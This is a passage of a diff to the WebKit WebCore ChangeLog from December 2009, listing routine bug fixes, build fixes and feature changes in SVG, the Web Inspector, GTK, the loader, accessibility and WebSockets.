+
+        Reviewed by Darin Adler.
+
+        Fix assertion failure when dragging an SVG image.
+        https://bugs.webkit.org/show_bug.cgi?id=32511
+
+        Test: fast/images/drag-svg-as-image.html
+
+        * svg/graphics/SVGImage.cpp:
+        (WebCore::SVGImage::filenameExtension): Return "svg"
+        * svg/graphics/SVGImage.h:
+
+2009-12-17  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Xan Lopez.
+
+        [GTK] G_OBJECT() cast is not necessary for signals connection and properties access
+        https://bugs.webkit.org/show_bug.cgi?id=32661
+
+        Removed useless calls to the G_OBJECT() macro and replaced NULL
+        occurences with a SENTINEL macro.
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::hasVideo):
+        (WebCore::MediaPlayerPrivate::hasAudio):
+        (WebCore::MediaPlayerPrivate::setVolume):
+        (WebCore::MediaPlayerPrivate::createGSTPlayBin):
+
+2009-12-21  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        If an image load is started during an unload or beforeunload event, run it
+        asynchronously (and allow it to outlive its page) so navigation can continue 
+        while the load completes.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30457
+
+        Tests: http/tests/navigation/image-load-in-beforeunload-handler.html
+               http/tests/navigation/image-load-in-unload-handler.html
+
+        * loader/DocumentThreadableLoader.cpp:
+        (WebCore::DocumentThreadableLoader::loadRequest): 
+        * loader/FrameLoader.cpp: Rename m_unloadEventBeingDispatched to m_isDispatchingUnloadEvent.
+        (WebCore::FrameLoader::FrameLoader):
+        (WebCore::FrameLoader::stopLoading):
+        (WebCore::FrameLoader::loadURL):
+        (WebCore::FrameLoader::loadWithDocumentLoader):
+        (WebCore::FrameLoader::stopAllLoaders):
+        (WebCore::FrameLoader::continueLoadAfterNavigationPolicy): Set m_isDispatchingBeforeUnloadEvent.
+        (WebCore::FrameLoader::pageHidden):
+        * loader/FrameLoader.h:
+        (WebCore::FrameLoader::isDispatchingUnloadFamilyEvent): Added.
+        * loader/Request.cpp:
+        (WebCore::Request::Request): Add OutlivePagePolicy to constructor parameters
+        * loader/Request.h:
+        (WebCore::): Add OutlivePagePolicy enum.
+        (WebCore::Request::shouldOutlivePage): Added.
+        (WebCore::Request::frame): Added.
+        * loader/SubresourceLoader.cpp:
+        (WebCore::SubresourceLoader::create): Change one of the security checks to an outlive page check.
+        * loader/SubresourceLoader.h:
+        * loader/loader.cpp:
+        (WebCore::Loader::load): Add OutlivePagePolicy to Request constructor call,
+             ensure requests that should outlive page are done asynchronously.
+        (WebCore::Loader::cancelRequests): Remove ending ASSERT since it will now be hard to predict how
+             many requests might possibly outlive a cancel in every case.
+        (WebCore::Loader::Host::servePendingRequests): Use the correct frame in the case of a request outliving its page.
+        (WebCore::Loader::Host::cancelPendingRequests): Ensure we don't cancel request that should outlive their page.
+        (WebCore::Loader::Host::cancelRequests): Ensure we don't cancel request that should outlive their page.
+
+2009-12-18  Adam Roben  <aroben@apple.com>
+
+        Fix Windows build warnings
+
+        * WebCore.vcproj/WebCore.vcproj: Exclude SVG files from the build that
+        are compiled via SVGAllInOne.cpp.
+
+2009-12-20  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Can’t copy outer html of selected node.
+        Also adds "Copy as HTML" context menu item.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32802
+
+        * English.lproj/localizedStrings.js:
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeElement.prototype._populateTagContextMenu):
+        * inspector/front-end/inspector.js:
+        (WebInspector.documentCanCopy):
+
+2009-12-20  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Web Inspector: extract syntax highlighters into separate files.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32803
+
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * inspector/front-end/CSSSourceSyntaxHighlighter.js: Added.
+        (WebInspector.CSSSourceSyntaxHighlighter):
+        * inspector/front-end/JavaScriptSourceSyntaxHighlighter.js: Added.
+        (WebInspector.JavaScriptSourceSyntaxHighlighter):
+        (WebInspector.JavaScriptSourceSyntaxHighlighter.):
+        * inspector/front-end/SourceFrame.js:
+        * inspector/front-end/SourceSyntaxHighlighter.js: Added.
+        (WebInspector.SourceSyntaxHighlighter):
+        (WebInspector.SourceSyntaxHighlighter.prototype.createSpan):
+        (WebInspector.SourceSyntaxHighlighter.prototype.process.processChunk):
+        (WebInspector.SourceSyntaxHighlighter.prototype.process.moveToNextLine):
+        (WebInspector.SourceSyntaxHighlighter.prototype.process):
+        (WebInspector.SourceSyntaxHighlighter.prototype.lex):
+        (WebInspector.SourceSyntaxHighlighter.prototype.appendNonToken):
+        (WebInspector.SourceSyntaxHighlighter.prototype.syntaxHighlightNode):
+        * inspector/front-end/WebKit.qrc:
+        * inspector/front-end/inspector.html:
+
+2009-12-18  Julien Chaffraix  <jchaffraix@pleyo.com>
+
+        Reviewed by Darin Adler.
+
+        defersLoading is disabled in current libcURL.
+        https://bugs.webkit.org/show_bug.cgi?id=32707
+
+        Basically this change reverts r49577 that was totally wrong.
+        According to curlver.h, LIBCURL_VERSION_NUM is a
+        "6-digit (24 bits) hexadecimal number".
+
+        The check should be against 0x071200 (7.18) as it was originally the case.
+
+       * platform/network/curl/ResourceHandleManager.cpp:
+        (WebCore::ResourceHandleManager::initializeHandle): Use the right check.
+        * platform/network/curl/ResourceHandleCurl.cpp:
+        (WebCore::ResourceHandle::setDefersLoading): Ditto. Also removed a print
+        to use a LOG_ERROR instead.
+ 
+2009-12-20  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Add support for JavaScriptCore Date binding.
+        https://bugs.webkit.org/show_bug.cgi?id=32698
+
+        This is needed for HTMLInputElement::valueAsDate and
+        HTMLTimeElement::valueAsDate.
+
+        A Date instance is mapped to a double value in C++.
+        - If null or undefined is set to a JavaScript property, C++ setter
+          function receives NaN.
+        - If a getter C++ function returns NaN or infinity, a JavaScript
+          property returns null.
+
+        Test: fast/forms/input-valueasdate.html
+
+        * bindings/js/JSDOMBinding.cpp:
+        (WebCore::jsDateOrNull): Implement the above.
+        (WebCore::valueToDate): ditto.
+        * bindings/js/JSDOMBinding.h: Declare them.
+        * bindings/scripts/CodeGeneratorJS.pm: Produce jsDateOrNull() or
+          valueToDate() for Date type.
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::valueAsDate): Temporal implementation.
+        (WebCore::HTMLInputElement::setValueAsDate): ditto.
+        * html/HTMLInputElement.h:
+        * html/HTMLInputElement.idl: Declare valueAsDate.
+
+2009-12-20  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Introduce the followings:
+          - ::-webkit-inner-spin-button pseudo CSS selector
+          - ::-webkit-outer-spin-button pseudo CSS selector
+          - new appearance type: inner-spin-button
+          - new appearance type: outer-spin-button
+        They're going to be used for <input type=number> UI.
+        https://bugs.webkit.org/show_bug.cgi?id=31821
+
+        Inner-spin-button will be used for Windows, and outer-spin-button
+        will be used for Mac. A spin-button will represent a pair of an
+        increasing button part and a decreasing button part. SpinUpState,
+        which is defined in ThemeTypes.h, will be used to distinguish
+        these two parts.
+
+        The outer-spin-button implementation will use NSStepperCell.
+        NSStepperCell represents the pair of the parts and we can't draw them
+        independently. So a spin-button also represents the pair of the parts.
+
+        This change has no tests.  The following changes with tests will cover.
+
+        * css/CSSPrimitiveValueMappings.h:
+        (WebCore::CSSPrimitiveValue::CSSPrimitiveValue):
+        * css/CSSSelector.cpp:
+        (WebCore::CSSSelector::extractPseudoType):
+        * css/CSSSelector.h:
+        (WebCore::CSSSelector::):
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::SelectorChecker::checkOneSelector):
+        * css/CSSValueKeywords.in:
+        * css/html.css:
+        * platform/ThemeTypes.h:
+        (WebCore::ControlState): Add SpinUpState.
+        (WebCore::ControlPart): Add InnerSpinButtonPart and OuterSpinButtonPart.
+        * rendering/RenderTheme.cpp:
+        (WebCore::RenderTheme::adjustStyle):
+        (WebCore::RenderTheme::paint):
+        (WebCore::RenderTheme::adjustInnerSpinButtonStyle): Add an empty implementation.
+        (WebCore::RenderTheme::adjustOuterSpinButtonStyle): Add an empty implementation.
+        * rendering/RenderTheme.h:
+        (WebCore::RenderTheme::paintInnerSpinButton): Add an empty implementation.
+        (WebCore::RenderTheme::paintOuterSpinButton): Add an empty implementation.
+        * rendering/style/RenderStyleConstants.h:
+        (WebCore::PseudoId): Add INNER_SPIN_BUTTON and OUTER_SPIN_BUTTON.
+
+2009-12-20  Nayan Kumar K  <nayankk@gmail.com>
+
+        Reviewed by Darin Adler.
+
+        Fix for compilation errors in WML module, due to the changeset #52314.
+        https://bugs.webkit.org/show_bug.cgi?id=32786
+
+        No new tests, this is compilation error fix.
+
+        * wml/WMLDocument.cpp:
+        * wml/WMLPageState.cpp:
+        * wml/WMLPageState.h:
+
+2009-12-20  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Mark Rowe.
+
+        <rdar://problem/7487689> REGRESSION (r52203): Inspector console uses
+        Monaco on Snow Leopard
+        https://bugs.webkit.org/show_bug.cgi?id=32775
+
+        * inspector/front-end/inspector.css: Use the default monospace family
+        and size.
+
+2009-12-20  Martin Robinson  <martin.james.robinson@gmail.com>
+
+        Reviewed by Xan Lopez.
+
+        [GTK] Remove more GTK+ and GLib headers from WebCore
+        https://bugs.webkit.org/show_bug.cgi?id=32795
+
+        Remove most GTK+ and GLib includes from WebCore headers.
+
+        * platform/graphics/cairo/GraphicsContextPlatformPrivateCairo.h:
+        * platform/gtk/PasteboardHelper.h:
+        * platform/gtk/RenderThemeGtk.cpp:
+        * platform/gtk/RenderThemeGtk.h:
+        * platform/gtk/ScrollbarGtk.cpp:
+        * platform/gtk/ScrollbarThemeGtk.h:
+        * platform/gtk/gtk2drawing.c:
+        * platform/gtk/gtkdrawing.h:
+
+2009-12-20  Kevin Ollivier  <kevino@theolliviers.com>
+
+        [wx] build fixes after recent changes.
+
+        * bindings/BindingSecurityBase.cpp: Removed V8 header in common code.
+        * platform/wx/ContextMenuWx.cpp: Added missing header.
+        * plugins/mac/PluginViewMac.cpp: Added missing header.
+
+2009-12-20  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Reviewed by Xan Lopez.
+
+        Hopefully fix the assertion we are hitting by not forcing updating
+        the state of scrollbars when setting the adjustments. This was
+        leading to a premature layout.
+
+        fast/dom/open-and-close-by-DOM.html
+        fast/dom/Window/closure-access-after-navigation-window.html
+        fast/harness/use-page-cache.html
+
+        * platform/gtk/ScrollViewGtk.cpp:
+        (WebCore::ScrollView::setGtkAdjustments):
+
+2009-12-20  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Web Inspector: Constrain the number of messages the inspector shows.
+
+        https://bugs.webkit.org/show_bug.cgi?id=20919
+
+        * English.lproj/localizedStrings.js:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::InspectorController):
+        (WebCore::InspectorController::addConsoleMessage):
+        (WebCore::InspectorController::clearConsoleMessages):
+        (WebCore::InspectorController::populateScriptObjects):
+        * inspector/InspectorController.h:
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::updateConsoleMessageExpiredCount):
+        * inspector/InspectorFrontend.h:
+        * inspector/front-end/inspector.js:
+        (WebInspector.updateConsoleMessageExpiredCount):
+
+2009-12-20  Andrei Popescu  <andreip@google.com>
+
+        Reviewed by Adam Barth.
+
+        [Android] Android needs implementation of setCookies, cookies and cookiesEnabled functions.
+        https://bugs.webkit.org/show_bug.cgi?id=32559
+
+        Add implementation of the cookie functions.
+        Fix a crash caused by dereferencing a 0 MainResourceLoader pointer
+        in ResourceHandle::start().
+
+        No new tests, this is platform code.
+
+        * platform/android/PlatformBridge.h:
+        * platform/network/android/AuthenticationChallenge.h: Added.
+        * platform/network/android/CookieJarAndroid.cpp: Added.
+        (WebCore::setCookies):
+        (WebCore::cookies):
+        (WebCore::cookiesEnabled):
+        * platform/network/android/ResourceHandleAndroid.cpp:
+        (WebCore::ResourceHandle::start):
+
+2009-12-19  Eric Seidel  <eric@webkit.org>
+
+        No review, rolling out r52395.
+        http://trac.webkit.org/changeset/52395
+
+        * svg/SVGMaskElement.cpp:
+        (WebCore::SVGMaskElement::drawMaskerContent):
+        * svg/SVGMaskElement.h:
+        * svg/graphics/SVGResourceMasker.cpp:
+        (WebCore::SVGResourceMasker::applyMask):
+        * svg/graphics/SVGResourceMasker.h:
+
+2009-12-19  Adam Barth  <abarth@webkit.org>
+
+        No review, rolling out r52399.
+        http://trac.webkit.org/changeset/52399
+
+        * websockets/WebSocket.cpp:
+        (WebCore::WebSocket::connect):
+
+2009-12-19  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        Added a missing "not".
+
+        Test: http/tests/security/xss-DENIED-window-open-javascript-url.html
+
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::createWindow):
+
+2009-12-19  Fumitoshi Ukai  <ukai@chromium.org>
+
+        Reviewed by Alexey Proskuryakov.
+
+        Invalid url should raise SYNTAX_ERR exception.
+        https://bugs.webkit.org/show_bug.cgi?id=32700
+
+        Check url is valid in WebSocket::connect.
+        Also log the detailed reason of websocket failures to console.
+
+        * websockets/WebSocket.cpp:
+        (WebCore::WebSocket::connect):
+
+2009-12-19  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Darin Adler.
+
+        REGRESSION: Up/down arrow keys do not step numeric CSS property values
+        https://bugs.webkit.org/show_bug.cgi?id=32776
+
+        * inspector/front-end/inspector.js:
+        (WebInspector.documentKeyDown): Call the focused element’s
+        handleKeyEvent method.
+
+2009-12-19  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Nikolas Zimmermann.
+
+        Speed-up SVG Masking
+        https://bugs.webkit.org/show_bug.cgi?id=32738
+
+        This patch makes SVG Masking faster. At the moment we create a new ImageBuffer
+        and copy the complete pixel array. That is rather inefficient. This patch
+        uses the mask image directly.
+        It also bounds the direct pixel manipultation to the viewable area to minimize
+        the calculation of the mask.
+
+        No change in functionality. So no new test.
+
+        * svg/SVGMaskElement.cpp:
+        (WebCore::SVGMaskElement::drawMaskerContent):
+        * svg/SVGMaskElement.h:
+        * svg/graphics/SVGResourceMasker.cpp:
+        (WebCore::SVGResourceMasker::applyMask):
+        * svg/graphics/SVGResourceMasker.h:
+
+2009-12-19  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Nikolas Zimmermann.
+
+        Add tests to check filter, mask, clip, opacity and marker ordering
+        https://bugs.webkit.org/show_bug.cgi?id=14010
+
+        The right ordering for applying effects on objects in SVG is filters,
+        clipper/masker and opacity. This patch fixes the order of filter and
+        clipper/masker. Opacity and marker need another test.
+        This change is according to the SVG Specification:
+        http://www.w3.org/TR/SVG11/render.html#Elements
+
+        Test: svg/filters/filter-clip.svg
+
+        * rendering/SVGRenderSupport.cpp:
+        (WebCore::SVGRenderBase::prepareToRenderSVGContent):
+
+2009-12-19  Evan Martin  <evan@chromium.org>
+
+        Reviewed by Gustavo Noronha Silva.
+
+        Revert my attempt at making --disable-geolocation work; it is
+        more complicated than I anticipated.  (It passed on the build bots
+        because they build with --enable-geolocation.)
+
+        * GNUmakefile.am:
+
+2009-12-19  MORITA Hajime  <morrita@gmail.com>
+
+        Reviewed by Darin Adler.
+
+        WebCore::Range::surroundContents NULL pointer crash.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31684
+
+        Test: fast/dom/Range/31684.html
+
+        * dom/Range.cpp:
+        (WebCore::Range::surroundContents):
+        throw exception when parentOfNewParent->parentNode() is NULL.
+
+2009-12-19  Christian Dywan  <christian@twotoasts.de>
+
+        Reviewed by Gustavo Noronha Silva.
+
+        Don't use an icon for all spelling guess menu items.
+
+        * platform/gtk/ContextMenuItemGtk.cpp:
+        (WebCore::gtkStockIDFromContextMenuAction):
+
+2009-12-19  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Unreviewed build fix. Missing \.
+
+        * GNUmakefile.am:
+
+2009-12-19  Evan Martin  <evan@chromium.org>
+
+        Reviewed by Gustavo Noronha Silva.
+
+        Make --disable-geolocation and --disable-svg work, by conditionally
+        building the relevant files.
+
+        * GNUmakefile.am:
+
+2009-12-18  Peter Kasting  <pkasting@google.com>
+
+        Reviewed by Simon Fraser.
+
+        Add a comment about some confusing code that otherwise would look like
+        it might be a bug.
+        https://bugs.webkit.org/show_bug.cgi?id=32534
+
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::updateScrollInfoAfterLayout):
+
+2009-12-18  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Not reviewed. Messed up the XCode file, trying to fix.
+
+        * WebCore.xcodeproj/project.pbxproj:
+
+2009-12-18  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Not reviewed, fix typos in WebCore.xcodeproj.
+
+        * WebCore.xcodeproj/project.pbxproj:
+
+2009-12-18  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Reviewed by Eric Seidel.
+
+        SVGAngle / SVGPreserveAspectRatio should be POD types
+        https://bugs.webkit.org/show_bug.cgi?id=32758
+
+        Convert SVGAngle / SVGPreserveAspectRatio to be non-refcounted types, just
+        like it has been done for SVGMatrix / SVGLength before.
+
+        This patch prepares removing the special DOMObjectWithSVGContext hack.
+        No change in functionality, thus no new tests.
+
+        * WebCore.xcodeproj/project.pbxproj: Add SVGNames.h to the 'Copy Generated Headers' phase, and set SVGAngle/SVGPreserveAspectRatio role to 'Private', so WebKit can access it.
+        * bindings/scripts/CodeGenerator.pm: Recognize SVGAngle / SVGPreserveAspectRatio as new POD-types (similar to SVGLength)
+        * bindings/scripts/CodeGeneratorJS.pm: Ditto. 
+        * bindings/scripts/CodeGeneratorV8.pm: Ditto.
+        * bindings/v8/V8Index.h: Ditto.
+        * rendering/RenderSVGImage.cpp: All following changes, modify SVGAngle/SVGPreserveAspectRatio access, as they are non-refcounted now.
+        (WebCore::RenderSVGImage::adjustRectsForAspectRatio):
+        (WebCore::RenderSVGImage::paint):
+        * rendering/RenderSVGImage.h:
+        * svg/SVGAngle.h:
+        * svg/SVGAngle.idl:
+        * svg/SVGAnimatedTemplate.h:
+        (WebCore::):
+        * svg/SVGFEImageElement.cpp:
+        (WebCore::SVGFEImageElement::SVGFEImageElement):
+        (WebCore::SVGFEImageElement::parseMappedAttribute):
+        * svg/SVGFitToViewBox.cpp:
+        (WebCore::SVGFitToViewBox::viewBoxToViewTransform):
+        (WebCore::SVGFitToViewBox::parseMappedAttribute):
+        * svg/SVGFitToViewBox.h:
+        * svg/SVGImageElement.cpp:
+        (WebCore::SVGImageElement::SVGImageElement):
+        (WebCore::SVGImageElement::parseMappedAttribute):
+        * svg/SVGMarkerElement.cpp:
+        (WebCore::SVGMarkerElement::SVGMarkerElement):
+        (WebCore::SVGMarkerElement::parseMappedAttribute):
+        (WebCore::SVGMarkerElement::setOrientToAuto):
+        (WebCore::SVGMarkerElement::setOrientToAngle):
+        (WebCore::SVGMarkerElement::canvasResource):
+        * svg/SVGMarkerElement.h:
+        * svg/SVGPatternElement.cpp:
+        (WebCore::SVGPatternElement::SVGPatternElement):
+        * svg/SVGPreserveAspectRatio.cpp:
+        (WebCore::SVGPreserveAspectRatio::parsePreserveAspectRatio):
+        (WebCore::SVGPreserveAspectRatio::getCTM):
+        * svg/SVGPreserveAspectRatio.h:
+        (WebCore::SVGPreserveAspectRatio::parsePreserveAspectRatio):
+        * svg/SVGPreserveAspectRatio.idl:
+        * svg/SVGSVGElement.cpp:
+        (WebCore::SVGSVGElement::SVGSVGElement):
+        (WebCore::SVGSVGElement::createSVGAngle):
+        (WebCore::SVGSVGElement::inheritViewAttributes):
+        * svg/SVGSVGElement.h:
+        * svg/SVGSymbolElement.cpp:
+        (WebCore::SVGSymbolElement::SVGSymbolElement):
+        * svg/SVGViewElement.cpp:
+        (WebCore::SVGViewElement::SVGViewElement):
+        * svg/SVGViewSpec.cpp:
+        (WebCore::SVGViewSpec::SVGViewSpec):
+        (WebCore::SVGViewSpec::setPreserveAspectRatioString):
+        (WebCore::SVGViewSpec::parseViewSpec):
+
+2009-12-18  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Chromium build fix, no review.
+
+        * storage/chromium/DatabaseTrackerChromium.cpp:
+
+2009-12-18  Brent Fulgham  <bfulgham@webkit.org>
+
+        Build fix, no review.
+
+        * platform/graphics/win/FontCacheWin.cpp:
+        (WebCore::FontCache::createFontPlatformData): Correct my typo
+          on the CG build.
+
+2009-12-18  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Make DatabaseTrackerChromium::removeOpenDatabase() send and IPC on
+        the main thread when a database is being closed.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32627
+
+        * storage/chromium/DatabaseTrackerChromium.cpp:
+        (WebCore::removeOpenDatabaseOnMainThread):
+        (WebCore::DatabaseTracker::removeOpenDatabase):
+
+2009-12-18  Brent Fulgham  <bfulgham@webkit.org>
+
+        Build fix, no review.
+
+        * page/win/FrameCairoWin.cpp: Add missing include.
+        * platform/graphics/win/FontCacheWin.cpp:
+        (WebCore::FontCache::createFontPlatformData): Conditionalize
+          Safari-only call.
+
+2009-12-18  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Reviewed by Dmitry Titov.
+
+        Move some code related to database closing from the destructor to
+        the close() method. This would allow us to do things such as post
+        tasks to other threads when a database closes, which cannot be
+        done now, because we cannot increment the ref count to a database
+        object when we're in its destructor.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32626
+
+        * storage/Database.cpp:
+        (WebCore::Database::~Database):
+        (WebCore::Database::close):
+
+2009-12-18  Jon Honeycutt  <jhoneycutt@apple.com>
+
+        REGRESSION(r52233): MSAA: Accessibility role of lists is wrong
+
+        https://bugs.webkit.org/show_bug.cgi?id=32736
+
+        Reviewed by Adam Roben.
+
+        Test: platform/win/accessibility/list-role.html
+
+        * accessibility/AccessibilityObject.h:
+        (WebCore::AccessibilityObject::roleValueForMSAA):
+        Return roleValue(), rather than m_role, as subclasses may override it.
+
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::roleValueForMSAA):
+        Fallback to roleValue(), rather than m_role, as it may be overriden.
+
+2009-12-17  Jon Honeycutt  <jhoneycutt@apple.com>
+
+        MSAA: Accessibility role of list items is wrong
+
+        https://bugs.webkit.org/show_bug.cgi?id=32688
+
+        Reviewed by Adam Roben.
+
+        Test: platform/win/accessibility/list-item-role.html
+
+        * accessibility/AccessibilityObject.h:
+        (WebCore::):
+        Add a ListItemRole to the enum.
+
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::msaaRoleForRenderer):
+        Return the role for the RenderObject, or UnknownRole if unknown.
+        (WebCore::AccessibilityRenderObject::roleValueForMSAA):
+        Call msaaRoleForRenderer() to get the role. If it is UnknownRole, fall
+        back to m_role.
+
+2009-12-18  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Crash when accessing webkitTransition property after setting webkitTransitionProperty with invalid value.
+        https://bugs.webkit.org/show_bug.cgi?id=31559
+        
+        Fix an array bounds error when accessing the CSS value for a shorthand property that takes
+        a comma-separated list, after the list for one of the component properties has been set to a different length.
+
+        Test: fast/css/shorthand-mismatched-list-crash.html
+
+        * css/CSSMutableStyleDeclaration.cpp:
+        (WebCore::CSSMutableStyleDeclaration::getLayeredShorthandValue):
+
+2009-12-18  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Mark Rowe.
+
+        Remove WebCore.ClientBasedGeolocation.exp from Sources, and remove two IDL files from Resources.
+
+        * WebCore.xcodeproj/project.pbxproj:
+
+2009-12-18  Sam Weinig  <sam@webkit.org>
+
+        Fix mac Geolocation build.
+
+        * DerivedSources.make:
+        * WebCore.ClientBasedGeolocation.exp: Added.
+        * WebCore.xcodeproj/project.pbxproj:
+        * page/Geolocation.h:
+        * page/GeolocationError.h:
+        (WebCore::GeolocationError::GeolocationError):
+        * page/GeolocationPosition.h:
+
+2009-12-18  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Adam Roben.
+
+        Fixes <http://webkit.org/b/32613>.
+        REGRESSION (r52008): Middle-clicking on a linked image starts a pan scroll,
+        but should follow the link instead.
+
+        The node itself isn't the only possible node that can be a link (that was the
+        original check), any of its ancestors could be links as well, we need to climb
+        up the tree to see. Created a new function (enclosingAnchorNode), that finds a
+        node's enclosing anchor element (if it exists), that we can share between RenderLayer
+        and Node, and also added tests that test pan scrolling behavior in image maps.
+
+        Tests: platform/win/fast/events/panScroll-image-no-scroll.html
+               platform/win/fast/events/panScroll-imageMap-href-no-scroll.html
+               platform/win/fast/events/panScroll-imageMap-noHref-scroll.html
+
+        * dom/Node.cpp:
+        (WebCore::Node::enclosingAnchorNode):
+        (WebCore::Node::defaultEventHandler):
+        * dom/Node.h:
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::hitTest):
+
+2009-12-18  Benjamin Otte  <otte@gnome.org>
+
+        Reviewed by Xan Lopez.
+
+        [GTK] RemoveDashboard support. It's useless.
+
+        * GNUmakefile.am:
+
+2009-12-18  Christian Dywan  <christian@twotoasts.de>
+
+        Reviewed by Xan Lopez.
+
+        [GTK] context menu overriding API is very limited
+        https://bugs.webkit.org/show_bug.cgi?id=27546
+
+        Omit SearchWeb from the context menu in the GTK+ port.
+
+        * platform/ContextMenu.cpp:
+        (WebCore::ContextMenu::populate):
+
+2009-12-18  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Anders Carlsson.
+
+        Add export the new symbol in WebCoreSystemInterface.
+
+        * WebCore.base.exp:
+        * platform/mac/WebCoreSystemInterface.h:
+        * platform/mac/WebCoreSystemInterface.mm:
+
+2009-12-18  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Anders Carlsson.
+
+        Forward declare NSMutableArray when not compiling for Objective-C.
+
+        * platform/mac/WebCoreSystemInterface.h:
+
+2009-12-18  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32720
+        Replace UString addition/append with use of JSC::StringBuilder.
+
+        * ForwardingHeaders/runtime/StringBuilder.h: Added.
+        * bindings/js/ScriptString.h:
+        (WebCore::ScriptString::operator+=):
+        * bridge/jni/jni_runtime.cpp:
+        (appendClassName):
+        (JavaMethod::signature):
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::addProfileFinishedMessageToConsole):
+        (WebCore::InspectorController::addStartProfilingMessageToConsole):
+        (WebCore::InspectorController::getCurrentUserInitiatedProfileName):
+
+2009-12-18  Kenneth Russell  <kbr@google.com>
+
+        Reviewed by Darin Fisher.
+
+        Index validation for drawElements examines too many indices
+        https://bugs.webkit.org/show_bug.cgi?id=32692
+
+        Test: fast/canvas/webgl/bug-32692.html
+
+        * html/canvas/WebGLRenderingContext.cpp:
+        (WebCore::WebGLRenderingContext::validateIndexArrayPrecise):
+
+2009-12-18  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Anders Carlsson.
+
+        Update WebKitSystemInterface for <rdar://problem/7237059>.        
+
+        * platform/mac/WebCoreSystemInterface.h:
+        * platform/mac/WebCoreSystemInterface.mm:
+
+2009-12-18  Adam Roben  <aroben@apple.com>
+
+        GTK build fix
+
+        * plugins/gtk/PluginViewGtk.cpp: Added #include.
+
+2009-12-18  Adam Roben  <aroben@apple.com>
+
+        Chromium build fix
+
+        * platform/chromium/PopupMenuChromium.cpp: Added #include.
+
+2009-12-18  Adam Roben  <aroben@apple.com>
+
+        Chromium build fix
+
+        * html/HTMLLinkElement.cpp: Added #include.
+
+2009-12-18  Adam Roben  <aroben@apple.com>
+
+        Qt build fix
+
+        * platform/qt/RenderThemeQt.cpp:
+        * plugins/qt/PluginDataQt.cpp:
+        * plugins/qt/PluginViewQt.cpp:
+        Added #includes.
+
+2009-12-18  Adam Roben  <aroben@apple.com>
+
+        V8 build fix
+
+        * bindings/v8/custom/V8DOMWindowCustom.cpp: Added #include.
+
+2009-12-18  Adam Roben  <aroben@apple.com>
+
+        GTK (and others?) build fix
+
+        * platform/text/StringImpl.h: Added #include.
+
+2009-12-18  Adam Roben  <aroben@apple.com>
+
+        Reduce #includes in a few high-use headers
+
+        Removed unnecessary #includes in these headers:
+          - Frame.h
+          - FrameWin.h
+          - Node.h
+          - Page.h
+          - StringImpl.h
+
+        The rest of the patch is all adding #includes to source files that now
+        require them.
+
+        Fixes <http://webkit.org/b/32718>.
+
+        Rubber-stamped by Anders Carlsson.
+
+        * dom/Node.h:
+        * page/Frame.h:
+        * page/Page.h:
+        * page/win/FrameWin.h:
+        * platform/text/StringImpl.h:
+        Removed unnecessary #includes.
+
+        * accessibility/win/AXObjectCacheWin.cpp:
+        * bindings/js/JSDOMWindowBase.cpp:
+        * bindings/js/JSDOMWindowCustom.cpp:
+        * dom/Document.cpp:
+        * dom/InputElement.cpp:
+        * dom/Node.cpp:
+        * dom/SelectElement.cpp:
+        * editing/EditorCommand.cpp:
+        * html/HTMLFormControlElement.cpp:
+        * html/HTMLFormElement.cpp:
+        * html/HTMLMediaElement.cpp:
+        * html/HTMLParser.cpp:
+        * html/HTMLTextAreaElement.cpp:
+        * html/HTMLVideoElement.cpp:
+        * inspector/InspectorController.cpp:
+        * loader/FrameLoader.cpp:
+        * loader/HistoryController.cpp:
+        * loader/appcache/ApplicationCacheGroup.cpp:
+        * page/Console.cpp:
